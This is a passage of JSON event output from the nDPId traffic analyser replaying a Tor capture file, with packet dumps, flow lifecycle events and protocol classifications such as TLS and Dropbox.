type","thread_id":0,"packet_id":755,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":806,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821740,"pkt_ts_usec":212998,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":806,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":828,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821742,"pkt_ts_usec":213016,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":828,"source":"tor.pcap","alias":"nDPId-test","type":38} +00490{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":843,"source":"tor.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1383821734359,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"157.56.30.46","src_port":51104,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00470{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":843,"source":"tor.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1383821734359,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"157.56.30.46","src_port":51104,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":848,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821744,"pkt_ts_usec":213025,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":848,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":889,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821746,"pkt_ts_usec":213762,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":889,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1027,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821748,"pkt_ts_usec":212997,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1027,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1054,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821750,"pkt_ts_usec":212972,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1054,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1069,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821752,"pkt_ts_usec":213197,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1069,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1074,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821754,"pkt_ts_usec":213011,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1074,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1093,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821756,"pkt_ts_usec":213011,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1093,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1106,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821758,"pkt_ts_usec":213236,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1106,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1124,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821760,"pkt_ts_usec":213003,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1124,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1204,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821762,"pkt_ts_usec":212987,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1204,"source":"tor.pcap","alias":"nDPId-test","type":38} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1344,"source":"tor.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1383821763366,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00593{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1344,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821763,"pkt_ts_usec":366999,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"\/\/\/\/\/\/\/\/UlQAwqwfCABFAACsAABAAEARtfDAqAEBwKgB\/0RcRFwAmDDeeyJob3N0X2ludCI6IDY3Njg3OTk3NiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICI2NzY4Nzk5NzYiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsxNjc4NDEyMTYsIDE4MTA4Mzk2OCwgMTgxMDgwMzI0LCAyOTU0NDE3M119"} +00509{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1344,"source":"tor.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1383821763366,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1389,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821764,"pkt_ts_usec":213182,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1389,"source":"tor.pcap","alias":"nDPId-test","type":38} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1390,"source":"tor.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1383821763366,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1540,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821766,"pkt_ts_usec":213046,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1540,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1709,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821768,"pkt_ts_usec":213010,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1709,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1807,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821770,"pkt_ts_usec":213739,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1807,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1817,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821772,"pkt_ts_usec":213086,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1817,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1818,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821774,"pkt_ts_usec":213020,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1818,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1828,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821776,"pkt_ts_usec":213090,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1828,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1829,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821778,"pkt_ts_usec":213143,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1829,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1830,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821780,"pkt_ts_usec":213263,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1830,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1831,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821782,"pkt_ts_usec":213065,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1831,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1832,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821784,"pkt_ts_usec":213182,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1832,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1833,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821786,"pkt_ts_usec":213089,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1833,"source":"tor.pcap","alias":"nDPId-test","type":38} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1834,"source":"tor.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":141,"flow_first_seen":1383821665420,"flow_last_seen":1383821774457,"flow_tot_l4_data_len":63576,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":450,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51110,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1834,"source":"tor.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":34,"flow_first_seen":1383821666407,"flow_last_seen":1383821774461,"flow_tot_l4_data_len":9950,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":292,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"46.59.52.31","src_port":51111,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1834,"source":"tor.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1576,"flow_first_seen":1383821668403,"flow_last_seen":1383821774532,"flow_tot_l4_data_len":1332694,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":845,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51112,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1834,"source":"tor.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1383822123915,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00594{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1834,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822123,"pkt_ts_usec":915516,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"\/\/\/\/\/\/\/\/UlQAwqwfCABFAACsAABAAEARtfDAqAEBwKgB\/0RcRFwAmDDeeyJob3N0X2ludCI6IDY3Njg3OTk3NiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICI2NzY4Nzk5NzYiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsxNjc4NDEyMTYsIDE4MTA4Mzk2OCwgMTgxMDgwMzI0LCAyOTU0NDE3M119"} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1834,"source":"tor.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1383822123915,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1835,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822124,"pkt_ts_usec":212807,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1835,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1836,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822126,"pkt_ts_usec":212337,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1836,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1837,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822128,"pkt_ts_usec":212399,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1837,"source":"tor.pcap","alias":"nDPId-test","type":38} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1840,"source":"tor.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1383822129889,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"212.83.155.250","src_port":51174,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1840,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822129,"pkt_ts_usec":889928,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"UlQA2EYhUlQAWul3CABFAAA0CJdAAIAGvzrAqAH81FOb+sfmAbsbVwNmAAAAAIACIAAzvwAAAgQFtAEDAwgBAQQC"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1841,"source":"tor.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1383822129897,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51175,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1841,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822129,"pkt_ts_usec":897135,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"UlQA2EYhUlQAWul3CABFAAA0CJhAAIAGdgbAqAH8W49d8sfnAbtnuw7MAAAAAIACIACSwAAAAgQFtAEDAwgBAQQC"} +00423{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1842,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822129,"pkt_ts_usec":949318,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"UlQAWul3UlQA2EYhCABFAAA0AABAADEGFtLUU5v6wKgB\/AG7x+atYj18G1cDZ4ASOQgvyAAAAgQFtAEBBAIBAwMH"} +00414{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1843,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822129,"pkt_ts_usec":951535,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"UlQA2EYhUlQAWul3CABFAAAoCJlAAIAGv0TAqAH81FOb+sfmAbsbVwNnrWI9fVAQAQCoogAAAAAAAAAA"} +00423{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1844,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822129,"pkt_ts_usec":961527,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"UlQAWul3UlQA2EYhCABFAAA0AABAAC4G0J5bj13ywKgB\/AG7x+fD3pw1Z7sOzYASOQgZlAAAAgQFtAEBBAIBAwMH"} +00414{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1845,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822129,"pkt_ts_usec":962943,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"UlQA2EYhUlQAWul3CABFAAAoCJpAAIAGdhDAqAH8W49d8sfnAbtnuw7Nw96cNlAQAQCSbgAAAAAAAAAA"} 